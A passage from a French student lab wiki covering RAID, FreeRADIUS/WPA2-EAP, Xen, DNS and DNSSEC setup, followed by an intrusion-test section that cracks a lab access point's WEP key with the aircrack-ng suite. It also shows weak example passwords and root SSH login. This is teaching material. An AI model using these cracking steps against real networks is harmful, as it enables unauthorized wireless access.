  dd if=/dev/zero of=toto bs=1024k count=100        //Copier partie ou tout d'un disque &lt;br /&gt;
&lt;br /&gt;
  mdadm --set-faulty /dev/md0 /dev/xvdc2           //Perte du fichier disque 2 &lt;br /&gt;
  cat /proc/mdstat                                 //On voit qu'on a plus de partitions&lt;br /&gt;
  ls -R /mnt                                       //Vérifier qu'on a gardé les fichiers&lt;br /&gt;
  umount /mnt                                     //Démonter le système de fichier&lt;br /&gt;
&lt;br /&gt;
  mdadm --remove /dev/md0 /dev/xvdc2             //Je replace la partitions 2&lt;br /&gt;
  mdadm --add /dev/md0 /dev/xvdc2&lt;br /&gt;
  cat /proc/mdstat                               //On voit qu'il met quelques temps à le récupérer&lt;br /&gt;
&lt;br /&gt;
Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.&lt;br /&gt;
&lt;br /&gt;
Je considère la sécurisation de mes données de VM atteinte. &lt;br /&gt;
&lt;br /&gt;
=== Sécurisation WiFi par WPA2-EAP ===&lt;br /&gt;
&lt;br /&gt;
==== Configuration serveur FreeRadius ====&lt;br /&gt;
&lt;br /&gt;
L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.&lt;br /&gt;
&lt;br /&gt;
Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.&lt;br /&gt;
  apt update&lt;br /&gt;
  apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users&lt;br /&gt;
  pifou Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
  eap{&lt;br /&gt;
     default_eap_type = peap&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0//mods-enabled/mschap&lt;br /&gt;
  //Décommenter et vérifier&lt;br /&gt;
    use_mppe = yes&lt;br /&gt;
    require_encryption = yes&lt;br /&gt;
    require_strong = yes&lt;br /&gt;
  //Ajouter&lt;br /&gt;
    with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:&lt;br /&gt;
  client access-point { /Nom du client&lt;br /&gt;
    ipaddr = 10.60.0.100 //Adress IP de la borne&lt;br /&gt;
    secret = glopglop //Mot secret saisi lors de la configuration&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.&lt;br /&gt;
 service freeradius stop&lt;br /&gt;
  ps auxwww | grep free&lt;br /&gt;
     root     18316  0.0  0.0   3084   888 pts/0    S+   22:49   0:00 grep free&lt;br /&gt;
  kill 10659&lt;br /&gt;
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions&lt;br /&gt;
  freeradius -X&lt;br /&gt;
&lt;br /&gt;
==== Configuration des points d'accès WiFi ====&lt;br /&gt;
&lt;br /&gt;
Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.&lt;br /&gt;
&lt;br /&gt;
J'accède à la configuration de la borne WiFi&lt;br /&gt;
  minicom -os&lt;br /&gt;
  port : /dev/ttyUSB2&lt;br /&gt;
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#&lt;br /&gt;
&lt;br /&gt;
Je passe en mode privilégié et en mode configuration&lt;br /&gt;
  ap#enable      &lt;br /&gt;
  ap#config term   &lt;br /&gt;
&lt;br /&gt;
On met la commande suivante pour :&lt;br /&gt;
&lt;br /&gt;
authentification : vérifier l'identité de l'utilisateur &lt;br /&gt;
&lt;br /&gt;
authorization : pouvoir limiter l'accès à certaines fonctionnalités &lt;br /&gt;
&lt;br /&gt;
accounting : pouvoir enregistrer les actions de l'utilisateur&lt;br /&gt;
&lt;br /&gt;
   ap(config)#aaa new-model                                                                        &lt;br /&gt;
&lt;br /&gt;
Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius&lt;br /&gt;
  ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop    &lt;br /&gt;
&lt;br /&gt;
Définition du groupe de serveur&lt;br /&gt;
  ap(config)#aaa group server radius radius_lulya&lt;br /&gt;
&lt;br /&gt;
Association du groupe de serveur et du serveur de la VM&lt;br /&gt;
  ap(config)#server 193.48.57.171 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier&lt;br /&gt;
  ap(config)#aaa authentication login eap_lulya group radius_lulya&lt;br /&gt;
&lt;br /&gt;
Définition du SSID protégé par la méthode WPA2-EAP&lt;br /&gt;
  ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya                           &lt;br /&gt;
  ap(config-ssid)#vlan 10&lt;br /&gt;
  ap(config-ssid)#authentication open eap eap_lulya     &lt;br /&gt;
  ap(config-ssid)#authentication network-eap eap_lulya                            &lt;br /&gt;
  ap(config-ssid)#authentication key-management wpa    &lt;br /&gt;
&lt;br /&gt;
Configuration du Vlan&lt;br /&gt;
  ap(config)#interface Dot11Radio0                                                &lt;br /&gt;
  ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip                      &lt;br /&gt;
  ap(config-if)#ssid SSID_lulya                                                   &lt;br /&gt;
&lt;br /&gt;
Création de sous interfaces&lt;br /&gt;
  ap(config)#interface dot11Radio0.10                                             &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10          &lt;br /&gt;
&lt;br /&gt;
  ap(config)#interface fast0.10  &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10               &lt;br /&gt;
&lt;br /&gt;
Ajout SSID dans l'interface Dot11Radio0&lt;br /&gt;
  ap(config-subif)#interface Dot11Radio0                                          &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                         &lt;br /&gt;
&lt;br /&gt;
Rendre le SSID visible&lt;br /&gt;
  ap(config-ssid)#interface Dot11Radio0                                           &lt;br /&gt;
  ap(config-if)#mbssid                                                            &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                             &lt;br /&gt;
  ap(config-ssid)#mbssid guest-mode    &lt;br /&gt;
&lt;br /&gt;
Je quitte tout en utilisant &amp;lt;code&amp;gt;exit&amp;lt;/code&amp;gt;, puis faire un &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; pour prendre en compte toutes les configurations, pour finir je &amp;lt;code&amp;gt;reload&amp;lt;/code&amp;gt; &lt;br /&gt;
  ap(config)#write                                                                        &lt;br /&gt;
    Building configuration...                                                       &lt;br /&gt;
    [OK]&lt;/div&gt;</summary>
		<author><name>Lchenu</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54696</id>
		<title>TP sysres IMA2a5 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54696"/>
				<updated>2020-12-15T13:59:38Z</updated>
		
		<summary type="html">&lt;p&gt;Lchenu : /* Serveur DNS */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Partie commune ==&lt;br /&gt;
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)&lt;br /&gt;
&lt;br /&gt;
L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle Xen ==&lt;br /&gt;
&lt;br /&gt;
=== Création de la VM ===&lt;br /&gt;
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh&lt;br /&gt;
  ssh root@capbreton.plil.info &lt;br /&gt;
&lt;br /&gt;
Nom de ma machine : hawker&lt;br /&gt;
&lt;br /&gt;
Adresse IP de la machine : 193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Adresse du routeur : 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Le répertoire des disques virtuels : /usr/local/xen&lt;br /&gt;
&lt;br /&gt;
xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.&lt;br /&gt;
  xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf&lt;br /&gt;
&lt;br /&gt;
J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker&lt;br /&gt;
&lt;br /&gt;
	Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/&lt;br /&gt;
&lt;br /&gt;
	La distribution stable courant :  http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
  xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force&lt;br /&gt;
&lt;br /&gt;
En lançant un second terminal, je peux suivre le processus d’installation&lt;br /&gt;
  tail -f /var/log/xen-tools/hawker.log&lt;br /&gt;
&lt;br /&gt;
Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.&lt;br /&gt;
&lt;br /&gt;
     Installation Summary&lt;br /&gt;
     ---------------------&lt;br /&gt;
     Hostname        :  hawker&lt;br /&gt;
     Distribution    :  ascii&lt;br /&gt;
     MAC Address     :  00:16:3E:A4:65:07&lt;br /&gt;
     IP Address(es)  :  dynamic&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (DSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ECDSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ED25519)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (RSA)&lt;br /&gt;
     Root Password   :  xxxxxxxxxxxxxxxxxxxxxxxx&lt;br /&gt;
&lt;br /&gt;
Via la commande passwd, j'ai changé le mot de passe par &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Configuration de la VM ===&lt;br /&gt;
&lt;br /&gt;
Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.&lt;br /&gt;
Je récupère le nom du bridge &amp;quot;IMA2a5&amp;quot;&lt;br /&gt;
  brctl show &lt;br /&gt;
    bridge name        bridge id             STP enabled     interfaces&lt;br /&gt;
    '''IMA2a5             8000.34800d508a83     no              ether1'''&lt;br /&gt;
    IMA5sc             8000.34800d508a82     no              ether0&lt;br /&gt;
    L3MRIT             8000.b026289b2c9a     no              ether2&lt;br /&gt;
    Trunk              8000.4cd98fa49258     no              ether4&lt;br /&gt;
    bridgeGIS          8000.4cd98fa49258     no              vlan502&lt;br /&gt;
&lt;br /&gt;
J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg&lt;br /&gt;
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5. &lt;br /&gt;
&lt;br /&gt;
 kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
 extra       = 'elevator=noop'&lt;br /&gt;
 ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
 &lt;br /&gt;
 vcpus       = '1'&lt;br /&gt;
 memory      = '1024'&lt;br /&gt;
 &lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
               ]&lt;br /&gt;
 &lt;br /&gt;
 name        = 'hawker'&lt;br /&gt;
 &lt;br /&gt;
 '''vif         = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''&lt;br /&gt;
 &lt;br /&gt;
 on_poweroff = 'destroy'&lt;br /&gt;
 on_reboot   = 'restart'&lt;br /&gt;
 on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
J'accède à ma machine virtuelle&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
  xl console hawker&lt;br /&gt;
&lt;br /&gt;
Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte&lt;br /&gt;
  lvcreate -L10G -n hawker-var virtual&lt;br /&gt;
  lvcreate -L10G -n hawker-home virtual&lt;br /&gt;
&lt;br /&gt;
Je pointe le système de fichier sur les deux nouvelles partitions &lt;br /&gt;
  mke2fs /dev/virtual/hawker-home&lt;br /&gt;
  mke2fs /dev/virtual/hawker-var&lt;br /&gt;
&lt;br /&gt;
Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-home,xvdb1,w','''&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-var,xvdb2,w','''&lt;br /&gt;
               ]&lt;br /&gt;
&lt;br /&gt;
Puis je redémarre la VM pour prendre en compte les modifications&lt;br /&gt;
  xl shutdown hawker&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
&lt;br /&gt;
A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.&lt;br /&gt;
  /dev/xvdb1     /home ext4  defaults   0   2&lt;br /&gt;
  #/dev/xvdb2    /var  ext4  defaults   0   2&lt;br /&gt;
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.&lt;br /&gt;
  mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
  mount /dev/xvdb2 /mnt&lt;br /&gt;
  mv /var/* /mnt&lt;br /&gt;
  blkid Trouver ou afficher les attributs de périphérique bloc&lt;br /&gt;
    /dev/xvda2: UUID=&amp;quot;efa11821-8780-4938-9473-5d217752316e&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvda1: UUID=&amp;quot;1a3161b3-a90d-4da5-a224-cfc496e70c89&amp;quot; TYPE=&amp;quot;swap&amp;quot;&lt;br /&gt;
    /dev/xvdb1: UUID=&amp;quot;5645526d-2cf4-42b5-a4a7-94fdda100ca1&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvdb2: UUID=&amp;quot;5b49ce5f-8116-4c41-aa25-97536f644803&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
  vi /etc/fstab&lt;br /&gt;
Par la suite, je peux décommenter la ligne et exécuter :&lt;br /&gt;
  umount /mnt    &lt;br /&gt;
  mount -a&lt;br /&gt;
Je vérifie que les disques sont bien montés via la commande db &lt;br /&gt;
  Filesystem     1K-blocks     Used   Available   Use%   Mounted on&lt;br /&gt;
  udev              483904        0      483904     0%   /dev&lt;br /&gt;
  tmpfs             100712      120      100592     1%   /run&lt;br /&gt;
  /dev/xvda2       4062912   791352     3045464    21%   /&lt;br /&gt;
  tmpfs               5120        0        5120     0%   /run/lock&lt;br /&gt;
  tmpfs             306280        0      306280     0%   /dev/shm&lt;br /&gt;
  '''/dev/xvdb1      10255636    36872     9678092     1%   /home'''&lt;br /&gt;
  '''/dev/xvdb2      10255636   315536     9399428     4%   /var'''&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que la VM est prête&lt;br /&gt;
  xl list&lt;br /&gt;
    Name          ID    Mem   VCPUs    State	Time(s)&lt;br /&gt;
    Domain-0      0    4046     4      r-----    6978.3&lt;br /&gt;
    boeing        1     256     1      -b----     185.5&lt;br /&gt;
    NightHawk     3    1024     1      -b----     826.8&lt;br /&gt;
    '''hawker        4    1024     1      -b----     776.9'''&lt;br /&gt;
    blackbird     5     256     1      -b----     640.4&lt;br /&gt;
    Falcon        6     256     1      -b----     691.7&lt;br /&gt;
    rafale        8     256     1      -b----     606.0&lt;br /&gt;
    mirage        12   1024     1      -b----     668.6&lt;br /&gt;
    alpha-jet     13    256     1      -b----     591.4&lt;br /&gt;
    concorde      19   1024     1      -b----     148.5&lt;br /&gt;
    oronge        20    256     1      -b----     536.2&lt;br /&gt;
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne. &lt;br /&gt;
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.&lt;br /&gt;
&lt;br /&gt;
== Services Internet ==&lt;br /&gt;
&lt;br /&gt;
=== Configuration du réseau ===&lt;br /&gt;
&lt;br /&gt;
Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces&lt;br /&gt;
   auto eth0&lt;br /&gt;
   iface eth0 inet static&lt;br /&gt;
     address 193.48.57.171 &lt;br /&gt;
     netmask 255.255.255.240&lt;br /&gt;
     gateway 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus&lt;br /&gt;
   ifdown eth0&lt;br /&gt;
   ifup eth0&lt;br /&gt;
&lt;br /&gt;
Je vérifie que le processus s'est bien déroulé&lt;br /&gt;
   ip r&lt;br /&gt;
     default via 193.48.57.163 dev eth0 onlink &lt;br /&gt;
     193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171 &lt;br /&gt;
  ping 193.48.57.162 (Adresse IP 3560E)&lt;br /&gt;
&lt;br /&gt;
=== Serveur SSH ===&lt;br /&gt;
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :&lt;br /&gt;
  vi /etc/ssh/sshd_config&lt;br /&gt;
     PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
  service ssh restart&lt;br /&gt;
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.&lt;br /&gt;
  ssh root@193.48.57.171&lt;br /&gt;
&lt;br /&gt;
=== Serveur DNS ===&lt;br /&gt;
&lt;br /&gt;
Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.&lt;br /&gt;
&lt;br /&gt;
Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.&lt;br /&gt;
&lt;br /&gt;
Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre. &lt;br /&gt;
    ns.lulya.space&lt;br /&gt;
    193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.&lt;br /&gt;
    ns.lulya.space      1&lt;br /&gt;
    ns6.gandi.net       2&lt;br /&gt;
Pour le prise en compte ces modifications, on attend de 12 à 24h. &lt;br /&gt;
&lt;br /&gt;
Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.&lt;br /&gt;
Le fichier named.conf.options qui gère les options de configuration du DNS : &lt;br /&gt;
   options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
        listen-on-v6 { any; };&lt;br /&gt;
        allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
   };&lt;br /&gt;
   acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
        217.70.177.40/32; //Adresse IP de dns6.gandi.net&lt;br /&gt;
   };&lt;br /&gt;
&lt;br /&gt;
Puis le fichier named.conf.local pour déclarer les zones associées au domaine:&lt;br /&gt;
   zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
      type master;&lt;br /&gt;
      file &amp;quot;/etc/bind/db.lulya.space&amp;quot;;&lt;br /&gt;
    };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier de configuration /etc/bind/db.lulya.space :&lt;br /&gt;
   $TTL 3600&lt;br /&gt;
   @ IN SOA ns.lulya.space. postmaster.lulya.space. (&lt;br /&gt;
         1               ; Version&lt;br /&gt;
         1800             ; Refresh (30m)&lt;br /&gt;
         600             ; Retry   (10m)&lt;br /&gt;
         3600             ; Expire (1h)&lt;br /&gt;
         3600 )           ; Minimum TTL (1h)&lt;br /&gt;
   @ IN NS ns.lulya.space.&lt;br /&gt;
   @ IN NS ns6.gandi.net.&lt;br /&gt;
   ns      IN A       192.48.57.171&lt;br /&gt;
&lt;br /&gt;
J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.&lt;br /&gt;
&lt;br /&gt;
Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de site web par certificat ===&lt;br /&gt;
&lt;br /&gt;
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.&lt;br /&gt;
&lt;br /&gt;
Je modifie mon fichier db.lulya.space&lt;br /&gt;
  Version : 2&lt;br /&gt;
  IN MX 100 ns&lt;br /&gt;
  www  IN A  193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise. &lt;br /&gt;
&lt;br /&gt;
Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr&lt;br /&gt;
&lt;br /&gt;
J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier. &lt;br /&gt;
&lt;br /&gt;
En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage&lt;br /&gt;
  apt install strace&lt;br /&gt;
  strace -f -o open newaliases&lt;br /&gt;
  strace -f  newaliases&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de serveur DNS par DNSSEC ===&lt;br /&gt;
&lt;br /&gt;
Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.&lt;br /&gt;
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.&lt;br /&gt;
&lt;br /&gt;
Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.&lt;br /&gt;
La clé asymétrique de signature de clefs de zone&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space&lt;br /&gt;
La clé asymétrique de zone pour les enregistrements&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space&lt;br /&gt;
&lt;br /&gt;
Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe : &lt;br /&gt;
&lt;br /&gt;
- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK &lt;br /&gt;
&lt;br /&gt;
- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée&lt;br /&gt;
  mv Klulya.space.+005+11461.key              lulya.space-ksk.key&lt;br /&gt;
  mv Klulya.space.+005+11461.private      lulya.space-ksk.private&lt;br /&gt;
  mv Klulya.space.+005+27882.key              lulya.space-zsk.key&lt;br /&gt;
  mv Klulya.space.+005+27882.private      lulya.space-zsk.private&lt;br /&gt;
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Je signe les enregistrements&lt;br /&gt;
  dnssec-signzone -o lulya.space -k lulya.space-ksk  ../db.lulya.space lulya.space-zsk&lt;br /&gt;
&lt;br /&gt;
Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed&lt;br /&gt;
  zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.lulya.space.signed&amp;quot;;&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net&lt;br /&gt;
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.&lt;br /&gt;
&lt;br /&gt;
      [[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests d'intrusion ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&lt;br /&gt;
On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Je dois trouver le point d’accès : canal et nom des réseaux.&lt;br /&gt;
&lt;br /&gt;
Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau. &lt;br /&gt;
&lt;br /&gt;
Dans notre cas, la carte Wi-fi se place en observateur du réseau.&lt;br /&gt;
&lt;br /&gt;
Je liste les interfaces disponibles :&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	  Driver	Chipset&lt;br /&gt;
    phy0  wlx40a5efd2140c rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airmon-ng start wlx40a5efd2140c&lt;br /&gt;
  Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.&lt;br /&gt;
        (mac80211 monitor mode vif enabled on [phy0]wlan0mon&lt;br /&gt;
        (mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)&lt;br /&gt;
&lt;br /&gt;
Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.&lt;br /&gt;
&lt;br /&gt;
En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	Driver		Chipset&lt;br /&gt;
    phy0    wlan0mon	rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux &lt;br /&gt;
  root@zabeth09:~# airmon-ng –encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Beaucoup d'informations s'affichent et je visualise cracotte07 dans la liste pour ses informations.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
Tous les cracotte se trouvent sur channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56&lt;br /&gt;
&lt;br /&gt;
Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.&lt;br /&gt;
  airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP&lt;br /&gt;
  root@zabeth09:~# aircrack-ng lcrack-01.cap&lt;br /&gt;
  Opening lcrack-01.capse wait…&lt;br /&gt;
&lt;br /&gt;
Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.&lt;br /&gt;
&lt;br /&gt;
                              Aircrack-ng 1.5.2 &lt;br /&gt;
                 [00:00:00] Tested 833 keys (got 73079 IVs)&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 17   F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176) &lt;br /&gt;
    1    0/  1   91(103680) 34(83968) 54(83456) B3(83456) B9(82432) &lt;br /&gt;
    2    2/  2   60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664) &lt;br /&gt;
    3   15/  3   B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104) &lt;br /&gt;
